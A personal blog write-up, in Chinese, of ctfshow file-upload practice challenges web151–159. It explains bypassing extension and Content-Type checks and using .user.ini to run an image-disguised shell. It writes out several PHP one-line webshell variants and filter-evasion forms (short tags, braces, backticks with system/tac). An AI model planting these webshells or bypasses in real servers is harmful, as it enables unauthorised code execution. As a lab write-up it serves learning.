文件上传学习 web151-159
文件上传学习
edited by twi1igh7
web151
这里尝试了一下只能上传png图片,连jpg都不行
F12查看,找到前端限制的代码,将png改成php就行
这时候上传我们写的一句话木马
1 | @eval($_POST['cmd']); |
然后蚁剑连接,在html目录下找到flag.php
web152
这道题我们用上题的打法,发现后端有检测
用bp抓包,改content-type
蚁剑连接即可
小结
引自ctfshow-web 151-170-文件上传 - 技术栈
web153
还是用上一道题的打法,但是发现php文件上传不过去了,应该是有过滤。这道题考的是nginx下的.user.ini配置文件。我们上传的文件在var/www/html/upload目录下,我们先上传图片木马,然后再上传写好的.user.ini
1 | #.user.ini |
这里需要注意.user.ini必须访问其目录下一个php文件后才会起作用,这里upload目录下有个index.php文件,我们先访问/upload/index.php,随后即可用蚁剑连接了(但我后面问了下ai,我们直接访问/upload/就会自动读取/upload/index.php)
注意连接地址是url+/upload/,后面不要接shell.png之类的(这里我问了下ai,回答说是,如果访问shell.png的话,虽然里面有一句话木马,但是因为是png后缀,所以不会没当成php处理。但是如果访问文件夹的话,会优先看index.php,后面就会开始处理php,而且处理php之前还会先读取.user.ini文件,所以目的就达成了)
web154
和上道题一样的打法,但是上传图片马的时候报错了,文件内容不合规。尝试后发现应该是把php过滤了,我们用短标签即可
1 | @eval($_POST['cmd']); |
web155
和上道题一样的打法
web156
看wp这道题过滤了[],其实我们可以用system来打。正常上传.user.ini,然后png上传php代码读取flag
1 | system('tac ../fla*'); |
如果要绕过过滤的话就是{}可以代替[],一句话木马写成<?=@eval($_POST{'cmd'});?>
然后蚁剑连接即可
web157
看wp发现把;和{}给ban了,那一句话木马就没有希望了(至少我看到的几篇wp没有用一句话木马了)。但是我们可以用system命令来打
1 | system('tac ../fla*') |
小结
论一句话木马的多种形态
基本态<?php @eval($_POST['cmd']);?>
如果ban了php,可以换成短标签<?=@eval($_POST['cmd'])?>
如果ban了[],可以换成{}为<?=@eval($_POST{'cmd'});?>
web158
和上道题一样的打法
web159
这道题应该是过滤了(),先看我们想写的shell是<?=system('tac ../fla*')?>
()被过滤掉的话相当于system也失效了,可以用反引号来代替(注意反引号等同于shell_exec(),所以不会在屏幕上显出内容,但是<?=等同于echo,刚好弥补了这一缺点,简直就是天作之合hh)
然后上传shell.png和.user.ini即可
一些碎碎念
今天就做到这里吧,感觉日更博客还是有点困难,但我尽量至少一周一更,或者一周两更以上吧,毕竟现在课程数量还是有点多了/(ㄒoㄒ)/~~
昨天和老师以及学长聊到当下ai冲击ctf的现实问题,目前agent解题确实厉害,基本很难有人类选手能够击败ai,但是我们也不能放弃基础知识的学习,毕竟找一个只会用ai的mcp不如把钱投入token中hhh。更深层次地想,ai会不会像锁死人类基础科学一样,锁死后继者的创新能力、基础知识??所以学习基础知识还是必要的,即使学了几个月、一年、十年,也很可能被ai按在地上摩擦,但我们的目标并非击败ai,而是更好地驾驭ai。












